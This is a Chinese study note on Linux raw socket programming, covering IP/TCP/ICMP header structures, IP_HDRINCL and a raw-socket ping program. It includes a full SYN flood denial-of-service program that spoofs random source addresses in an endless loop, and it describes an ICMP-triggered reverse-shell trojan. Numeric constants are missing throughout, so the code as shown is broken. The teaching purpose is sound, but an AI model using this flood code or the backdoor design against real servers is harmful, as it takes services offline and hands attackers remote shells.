Linux基础(11)原始套接字
一边接收函数返回一边判断返回值时一定要把接收的优先级加()提高再去判断 例 if((sockfd = socket()) < 0)
问题: 如何实现SYN扫描器扫描端口 , 比如AB两个设备要进行连接 , A通过端口发一个SYN包给B,B在收到后返回一个ACK包确认连接 , 但是在不确定B端口号时
该如何进行连接 , 答: A给B的每一个端都发一个SYN包, 如果哪个有返回说明端口是开放的, TCP和UDP都无法发实现这样的连接方式 , 所以要使用原始套接字
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
- struct iphdr {
- #if defined(__LITTLE_ENDIAN_BITFIELD)
- __u8 ihl:,
- version:;
- #elif defined(__BIG_ENDIAN_BITFIELD)
- __u8 version:,
- ihl:;
- #else
- #error "Please fix <asm/byteorder.h>"
- #endif
- __u8 tos;
- __u16 tot_len;
- __u16 id;
- __u16 frag_off;
- __u8 ttl;
- __u8 protocol;
- __u16 check;
- __u32 saddr;
- __u32 daddr;
- /*The options start here. */
- };
struct tcphdr {
__be16 source;
__be16 dest;
__be32 seq;
__be32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u16 res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
__u16 doff:4,
res1:4,
cwr:1,
ece:1,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#else
#error "Adjust your <asm/byteorder.h> defines"
#endif
__be16 window;
__sum16 check;
__be16 urg_ptr;
};
struct
hostent{
char
* h_name;
char
** h_aliases;
short
h_addrtype;
short
h_length;
char
** h_addr_list;
#define h_addr h_addr_list[0];
};
gethostbyname: https://blog.csdn.net/daiyudong2020/article/details/51946080
1.套接字: 使用内核提供的默认协议包
内核通过int socket( int af, int type, int protocol); 第三参数来决定要使用什么协议 , 第二参数是决定套接字的类型,SOCK_STREAM或SOCK_DGRAM等类型
而SOCK_STREAM默认是使用TCP协议 , 所以第三参数可以为0 默认使用TCP每个协议都一个协议对象 , 协议对象的结构:
- struct socket {
- socket_state state;
- kmemcheck_bitfield_begin(type);
- short type;
- kmemcheck_bitfield_end(type);
- unsigned long flags;
- struct socket_wq __rcu *wq;
- struct file *file;
- struct sock *sk;
- const struct proto_ops *ops; //存放函数指针,例如*bind() *connect()等socket方法 , 针对不同的协议,其方法的实现也不同
- };
2.原始套接字: 自行选择协议包 所有的原始套接字要使用root权限运行 , 原始套接字最重要的不是其编程方式, 是他的编程协议
ls -al 查看全部文件的权限 , ls -l filename 查看指定文件或程序的权限
linux在root权限下使用 chown root:root [file name] 进行修改文件的拥有者 , chmod u+s [file name] 文件可以在普通用户下临时提权运行
socket( int af, int type, int protocol);要使用原始套接字第二参数要选SOCK_RAW
3.套接字选项 : 设置选项setsockopt(struct socket *sock, int level, int optname,char *optval, unsigned int optlen) 获取选项getsockopt
可以对socket进行更深入的操作比如开启广播和组播的开关等...level 和 optname是父子关系两个组合使用, optval 是指optname的状态
比如level = SOL_SOCKET 有设置广播开关 optname = SO_BROADCAST ,optval = 1开启 \ 0关闭 更能设置套接字的缓冲区及大小等操作
具体使用看前述的 (05)笔记
MAC ----> IP ----->TCP/UDP/ICMP------>DATA TCP等,都是基于IP , 所以IP可以控制其本身及以上的报文
MAC最底层 ,TCP/UDP层属于IP层的数据包, 如图 , 如果不打开IP层我们只能控制data层 但是我们打开了IP层可以通过IP层来控制TCP层协议和data层数据
如果开启了IPPROTO_IP选项里的IP_HDRINCL, 那么IP层及IP层往上的数据和报文要自行组装了
ip首部 : https://www.cnblogs.com/lancidie/archive/2013/05/16/3082378.html https://www.cnblogs.com/red-code/p/7132023.html
4.如何学习某一种协议 ,
静态的学习: 分析协议的结构, 比如ICMP 属于IP 的一部分和TCP一个级别 还有ICMP的组成的结构有那些作用和怎么设置
动态的学习: 通过抓wireshak等抓包工具, 抓一个包, 分析其发送和返回的数据是什么类型type 及数据等等
例子: dos拒绝访问攻击, 通过大量的端口扫描(不同的ip 不断的对目标端口发送SYN包)让被攻击的服务器过载,从而拒绝用户的访问
- #include <stdlib.h>
- #include <stdio.h>
- #include <errno.h>
- #include <string.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <arpa/inet.h>
- #include <linux/tcp.h>
- //我们自己写的攻击函数
- void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
- //如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
- unsigned short check_sum(unsigned short *addr,int len);
- int main(int argc,char** argv){
- int skfd;
- struct sockaddr_in target;
- struct hostent *host;
- const int on=;
- unsigned short srcport;
- if(argc!=)
- {
- printf("Usage:%s target dstport srcport\n",argv[]);
- exit();
- }
- //DNS协议解析
- bzero(&target,sizeof(struct sockaddr_in));
- target.sin_family=AF_INET;
- target.sin_port=htons(atoi(argv[]));
- if(inet_aton(argv[],&target.sin_addr)==)
- {
- host=gethostbyname(argv[]);
- if(host==NULL)
- {
- printf("TargetName Error:%s\n",hstrerror(h_errno));
- exit();
- }
- target.sin_addr=*(struct in_addr *)(host->h_addr_list[]);
- }
- //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
- if(>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
- perror("Create Error");
- exit();
- }
- //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
- if(>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
- perror("IP_HDRINCL failed");
- exit();
- }
- //因为只有root用户才可以play with raw socket :)
- setuid(getpid());
- srcport = atoi(argv[]);
- attack(skfd,&target,srcport);
- }
- //在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
- void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
- char buf[]={};
- struct ip *ip;
- struct tcphdr *tcp;
- int ip_len;
- //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
- ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
- //开始填充IP首部
- ip=(struct ip*)buf;
- ip->ip_v = IPVERSION;
- ip->ip_hl = sizeof(struct ip)>>;
- ip->ip_tos = ;
- ip->ip_len = htons(ip_len);
- ip->ip_id=;
- ip->ip_off=;
- ip->ip_ttl=MAXTTL;
- ip->ip_p=IPPROTO_TCP;
- ip->ip_sum=;
- ip->ip_dst=target->sin_addr;
- //开始填充TCP首部
- tcp = (struct tcphdr*)(buf+sizeof(struct ip));
- tcp->source = htons(srcport);
- tcp->dest = target->sin_port;
- tcp->seq = random();
- tcp->doff = ;
- tcp->syn = ;
- tcp->check = ;
- while(){
- //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
- ip->ip_src.s_addr = random();
- tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
- sendto(skfd,buf,ip_len,,(struct sockaddr*)target,sizeof(struct sockaddr_in));
- }
- }
- unsigned short check_sum(unsigned short *addr,int len){
- register int nleft=len;
- register int sum=;
- register short *w=addr;
- short answer=;
- while(nleft>)
- {
- sum+=*w++;
- nleft-=;
- }
- if(nleft==)
- {
- *(unsigned char *)(&answer)=*(unsigned char *)w;
- sum+=answer;
- }
- sum=(sum>>)+(sum&0xffff);
- sum+=(sum>>);
- answer=~sum;
- return(answer);
- }
dos
dos洪水攻击的实现是 , 利用TCP协议的三次握手原理 自己组一个IP头和TCP头,然后发送SYN包,且不接收ACK包 , 让目标服务器一直处于等待第三次握手状态
让目标服务器一直消耗端口资源
5.ICMP协议 , ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP的结构及其值: https://blog.csdn.net/baidu_37964071/article/details/80514340
- struct icmphdr
- { unsigned char icmp_type; //消息类型
- unsigned char icmp_code; //代码
- unsigned short icmp_checksum; //校验和
- unsigned short icmp_id; //ID号
- unsigned short icmp_sequence; //序列号
- unsigned long icmp_TImestamp; //时间戳
- } ICMP_HDR,*PICMP_HDR;
ICMP报文格式 https://network.51cto.com/art/201905/597141.htm
icmp校验和的计算 https://blog.csdn.net/zhj082/article/details/80518322
如上图, 通过wireshaak抓了ping包的数据 , 和ICMP协议的选项一 一对应, 更可以通过ttl分析出目标及源的操作系统
ICMP协议可以发送什么就返回什么 ,ping的实现也是基于ICMP协议
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <signal.h>
- #include <arpa/inet.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <unistd.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
- #include <netdb.h>
- #include <setjmp.h>
- #include <errno.h>
- #define PACKET_SIZE 4096
- #define MAX_WAIT_TIME 5
- #define MAX_NO_PACKETS 4
- #define DATA_LEN 56
- char sendpacket[PACKET_SIZE];
- char recvpacket[PACKET_SIZE];
- int nsend=,nreceived=;
- struct timeval tvrecv;
- struct sockaddr_in from;
- void tv_sub(struct timeval *out,struct timeval *in)
- {
- if( (out->tv_usec-=in->tv_usec)<)
- {
- --out->tv_sec;
- out->tv_usec+=;
- }
- out->tv_sec-=in->tv_sec;
- }
- void statistics(int signo)
- {
- printf("\n--------------------PING statistics-------------------\n");
- printf("%d packets transmitted, %d received , %%%f lost\n",nsend,nreceived,(nsend-nreceived)*1.0/nsend*);
- exit();
- }
- //crc32的校验计算方法
- unsigned short cal_chksum(unsigned short *addr,int len)
- {
- int nleft=len;
- int sum=;
- unsigned short *w=addr;
- unsigned short answer=;
- while(nleft>)
- {
- sum+=*w++;
- nleft-=;
- }
- if( nleft==)
- {
- *(unsigned char *)(&answer)=*(unsigned char *)w;
- sum+=answer;
- }
- sum=(sum>>)+(sum&0xffff);
- sum+=(sum>>);
- answer=~sum;
- return answer;
- }
- /*****************************************************************************
- 函 数 名 : pack
- 功能描述 : 配置封装icmp包
- 输入参数 : int pack_no ,int pid
- 输出参数 : 无
- 返 回 值 : int
- 调用函数 :
- 被调函数 :
- 修改历史 :
- 1.日 期 : 2019年12月11日 星期三
- 作 者 : ljf
- 修改内容 : 新生成函数
- *****************************************************************************/
- int pack( int pack_no ,int pid )
- {
- int i , packsize;
- struct icmp* m_icmp;
- struct timeval* tval;
- m_icmp = (struct icmp*)sendpacket; //指向并设置全局的icmp包
- m_icmp->icmp_type = ICMP_ECHO; //类型 :8 回应请求
- m_icmp->icmp_code = ; //代码
- m_icmp->icmp_cksum = ; //校验和
- m_icmp->icmp_seq = pack_no; //序号,代表第几个包
- m_icmp->icmp_id = pid; //id ,接收时确定哪个进程接收
- packsize = +DATA_LEN; //8:timeval + data_len
- tval = (struct timeval*)m_icmp->icmp_data;
- gettimeofday(tval ,NULL); //把当前时间填充到icmp_data里
- m_icmp->icmp_cksum = cal_chksum((unsigned short*)m_icmp , packsize);//校验和
- return packsize;
- }
- /*****************************************************************************
- 函 数 名 : send_packet
- 功能描述 : 发送封装好的icmp包
- 输入参数 : int sockfd, int pid , struct sockaddr_in sockaddr
- 输出参数 : 无
- 返 回 值 : void
- 调用函数 :
- 被调函数 :
- 修改历史 :
- 1.日 期 : 2019年12月11日 星期三
- 作 者 : ljf
- 修改内容 : 新生成函数
- *****************************************************************************/
- void send_packet( int sockfd, int pid , struct sockaddr_in dest_addr )
- {
- int packetsize;
- while(nsend<MAX_NO_PACKETS) //发送次数
- {
- nsend++; //也可用作icmp的序号
- packetsize = pack(nsend,pid);
- if ( sendto(sockfd,sendpacket,packetsize,,(struct sockaddr*)&dest_addr,sizeof(dest_addr)) < )
- {
- perror("sendto");
- continue;
- }
- sleep();
- }
- }
- /*****************************************************************************
- 函 数 名 : unpack
- 功能描述 : 解封icmp包
- 输入参数 : char* buf,int len ,int pid
- 输出参数 : 无
- 返 回 值 : int
- 调用函数 :
- 被调函数 :
- 修改历史 :
- 1.日 期 : 2019年12月11日 星期三
- 作 者 : ljf
- 修改内容 : 新生成函数
- *****************************************************************************/
- int unpack(char *buf,int len,int pid)
- {
- int i,iphdrlen;
- struct ip *ip;
- struct icmp *icmp;
- struct timeval *tvsend;
- double rtt;
- ip=(struct ip *)buf;
- iphdrlen=ip->ip_hl<<;
- icmp=(struct icmp *)(buf+iphdrlen);
- len-=iphdrlen;
- if( len<)
- {
- printf("ICMP packets\'s length is less than 8\n");
- return -;
- }
- if( (icmp->icmp_type==ICMP_ECHOREPLY) && (icmp->icmp_id==pid) )
- {
- tvsend=(struct timeval *)icmp->icmp_data;
- tv_sub(&tvrecv,tvsend);
- rtt=tvrecv.tv_sec*+tvrecv.tv_usec/;
- printf("%d byte from %s: icmp_seq=%u ttl=%d rtt=%.3f ms\n",len,inet_ntoa(from.sin_addr),icmp->icmp_seq, ip->ip_ttl,rtt);
- }
- else
- return -;
- }
- /*****************************************************************************
- 函 数 名 : recv_packet
- 功能描述 : 接收回应的icmp包
- 输入参数 : int sockfd, int pid
- 输出参数 : 无
- 返 回 值 : void
- 调用函数 :
- 被调函数 :
- 修改历史 :
- 1.日 期 : 2019年12月11日 星期三
- 作 者 : ljf
- 修改内容 : 新生成函数
- *****************************************************************************/
- void recv_packet(int sockfd,int pid)
- {
- int n,fromlen;
- extern int errno;
- signal(SIGALRM,statistics);
- fromlen=sizeof(from);
- while( nreceived<nsend)
- {
- alarm(MAX_WAIT_TIME);
- if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),,(struct sockaddr *)&from,&fromlen)) <)
- {
- if(errno==EINTR)continue;
- perror("recvfrom error");
- continue;
- }
- gettimeofday(&tvrecv,NULL);
- if(unpack(recvpacket,n,pid)==-)
- continue;
- nreceived++;
- }
- }
- /*****************************************************************************
- 函 数 名 : main
- 功能描述 : main
- 输入参数 : int argc , char *argv[]
- 输出参数 : 无
- 返 回 值 : int
- 调用函数 :
- 被调函数 :
- 修改历史 :
- 1.日 期 : 2019年12月8日 星期日
- 作 者 : ljf
- 修改内容 : 新生成函数
- *****************************************************************************/
- int main( int argc , char *argv[] )
- {
- if ( argc < )
- {
- perror("argv");
- exit();
- }
- int sockfd; //绑定协议
- struct sockaddr_in dest_addr; //目标IP
- pid_t pid; //指定当前程序接收返回的icmp包
- struct hostent *host; //用于保存目标IP,主机名和其别名
- int waittime = MAX_WAIT_TIME; //超时时间
- int bufsize = *; //改变缓冲区大小
- unsigned long inaddr = ; //转换IP用
- bzero(&dest_addr,sizeof(dest_addr));
- if ( (sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) < )
- {
- perror("socket");
- exit();
- }
- setuid(getuid()); //确保在root权限下运行
- setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&bufsize,sizeof(bufsize)); //改变接收缓冲区的大小
- //分配目标配置,开始进行和sockfd绑定
- dest_addr.sin_family = AF_INET;
- if ((inaddr = inet_addr(argv[])) == INADDR_NONE ) //点分十进制的IP转换成长整型接收并判断是否有效
- {
- if ((host = gethostbyname(argv[])) == NULL) //解析域名,获得目标的IP并保存
- {
- perror("gethostbyname");
- exit();
- }
- //把获取到的目标host->h_addr_list的第一个[0]赋值给sockaddr.sin_addr
- memcpy((char*)&(dest_addr.sin_addr),host->h_addr,host->h_length);
- }
- else{
- //到了这里说明输入的是一个有效的IP , 将转换成长整型的argv[1]赋值给dest_addr.sin_addr
- memcpy((char*)&(dest_addr.sin_addr),(char*)&inaddr,sizeof(inaddr));
- }
- printf("ping %s: %s , ICMP bytes: %d\n", argv[],inet_ntoa(dest_addr.sin_addr),DATA_LEN);
- pid = getpid(); //获得当前进程用于让返回的ICMP包返回给当前进程
- send_packet(sockfd,pid,dest_addr);
- recv_packet(sockfd,pid);
- statistics(SIGALRM);
- close(sockfd);
- return ;
- }
MyIcmp_ping
ICMP反弹shell木马程序, 在目标服务器里开启了一个监听icmp的后台程序(), (icmp是广播发送给所有程序的,所以不能做到拦截) 接收了data后判断其是否有暗号,如果接收的data有暗号则利用和暗号一起发送过来的源客户端ip和端口主动开启并建立TCP连接,通过dup2()重定向shell的默认输入输出句柄(向建立连接的源客户端发送和接收shell)
总结: 原始套接字是基于内核提供的协议对象(比如 IP ,TCP ,ICMP协议) , 使用setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on(=1),sizeof(on)) , 可以自行手动构造IP及以上的报文 , 如果不需要手动构造IP报文, 可以不开启IP_HDRINCL, 只需创建并填充IP之上的协议对象(比如ICMP)和data即可 , 填充好协议对象后通过sendto对目标进行发送(协议和data封装在一起的)数据包 , 如需要接收data , 则可以通过recvfrom接收后 创建和发送端对等的协议对象,并对数据包里的data进行操作
原始套接字最重要的还是对协议的理解及使用
Linux基础(11)原始套接字的更多相关文章
- Linux网络编程——原始套接字实例:MAC 头部报文分析
通过<Linux网络编程——原始套接字编程>得知,我们可以通过原始套接字以及 recvfrom( ) 可以获取链路层的数据包,那我们接收的链路层数据包到底长什么样的呢? 链路层封包格式 M ...
- Linux网络编程——原始套接字编程
原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据.区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有 ...
- LINUX 网络编程 原始套接字
一 原始套接字 原始套接字(SOCK_RAW)是一种不同于SOCK_STREAM.SOCK_DGRAM的套接字,它实现于系统核心.然而,原始套接字能做什么呢?首先来说,普通的套接字无法处理ICMP.I ...
- Linux网络编程——原始套接字能干什么?
通常情况下程序员接所接触到的套接字(Socket)为两类: (1)流式套接字(SOCK_STREAM):一种面向连接的 Socket,针对于面向连接的TCP 服务应用: (2)数据报式套接字(SOCK ...
- Linux Socket 原始套接字编程
对于linux网络编程来说,可以简单的分为标准套接字编程和原始套接字编程,标准套接字主要就是应用层数据的传输,原始套接字则是可以获得不止是应用层的其他层不同协议的数据.与标准套接字相区别的主要是要开发 ...
- Linux网络编程:原始套接字简介
Linux网络编程:原始套接字编程 一.原始套接字用途 通常情况下程序员接所接触到的套接字(Socket)为两类: 流式套接字(SOCK_STREAM):一种面向连接的Socket,针对于面向连接的T ...
- 005.TCP--拼接TCP头部IP头部,实现TCP三次握手的第一步(Linux,原始套接字)
一.目的: 自己拼接IP头,TCP头,计算效验和,将生成的报文用原始套接字发送出去. 若使用tcpdump能监听有对方服务器的包回应,则证明TCP报文是正确的! 二.数据结构: TCP首部结构图: s ...
- 关于linux 原始套接字编程
关于linux 网络编程最权威的书是<<unix网络编程>>,但是看这本书时有些内容你可能理解的不是很深刻,或者说只知其然而不知其所以然,那么如果你想搞懂的话那么我建议你可以看 ...
- Linux原始套接字实现分析---转
http://blog.chinaunix.net/uid-27074062-id-3388166.html 本文从IPV4协议栈原始套接字的分类入手,详细介绍了链路层和网络层原始套接字的特点及其内核 ...
随机推荐
- [CQOI2007]涂色paint(BZOJ 1260)题解
题目描述 假设你有一条长度为5的木版,初始时没有涂过任何颜色.你希望把它的5个单位长度分别涂上红.绿.蓝.绿.红色,用一个长度为5的字符串表示这个目标:RGBGR. 每次你可以把一段连续的木版涂成一个 ...
- bzoj 1260涂色 题解
题面 区间dp, 我学的也不怎么好. myj说动态规划就是搜索的无限剪枝. 所以是搜了网上的代码, 看了看. 思路就是枚举区间,f数组就是存储从i到j需要的最少次数, 当然一开始他们的值要先设置一个很 ...
- 洛谷 P1195 【口袋的天空】
P1195 传送门 大体题意: 就是给你\(n\)个点\(m\)条边, 然后让你把这几个点连成\(k\)个部分. 解题思路: 很容易就可以想到生成树(别问我怎么想到的). 因为最小生成树中有一个判断 ...
- Flume 实战,将多台机器日志直接收集到 Kafka
目前我们使用的一个 b 端软件的报错日志分散在集群各处,现在想把它收集到一个地方然后统一丢进 Kafka 提供给下游业务进行消费. 我想到了 flume,之前让同事搭建的这次自己想多了解一些细节于是就 ...
- 第09组 Alpha冲刺(5/6)
队名:观光队 组长博客 作业博客 组员实践情况 王耀鑫 过去两天完成了哪些任务 文字/口头描述 完成服务器连接数据库部分代码 展示GitHub当日代码/文档签入记录 接下来的计划 服务器网络请求,前端 ...
- SpringBoot整合MyBatis例子
1.pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="h ...
- abp中使用同步方法调用异步方法
var result= AsyncHelper.RunSync(()=>{ return _service.GetUserAsync(); });
- MySQL与MariaDB核心特性比较详细版v1.0(覆盖mysql 8.0/mariadb 10.3,包括优化、功能及维护)
注:本文严禁任何形式的转载,原文使用word编写,为了大家阅读方便,提供pdf版下载. MySQL与MariaDB主要特性比较详细版v1.0(不含HA).pdf 链接:https://pan.baid ...
- x3d
目录 3d format introduction x3d resources open source C++ implementations file formats 1. Feature matr ...
- 关于uboot中的属性"u-boot,dm-pre-reloc”的意义
"u-boot,dm-pre-reloc”属性:当设置了这个属性时,则表示这个设备在重定向之前就需要使用. 当dm_init_and_scan的参数为true时,只会对带有“u-boot,d ...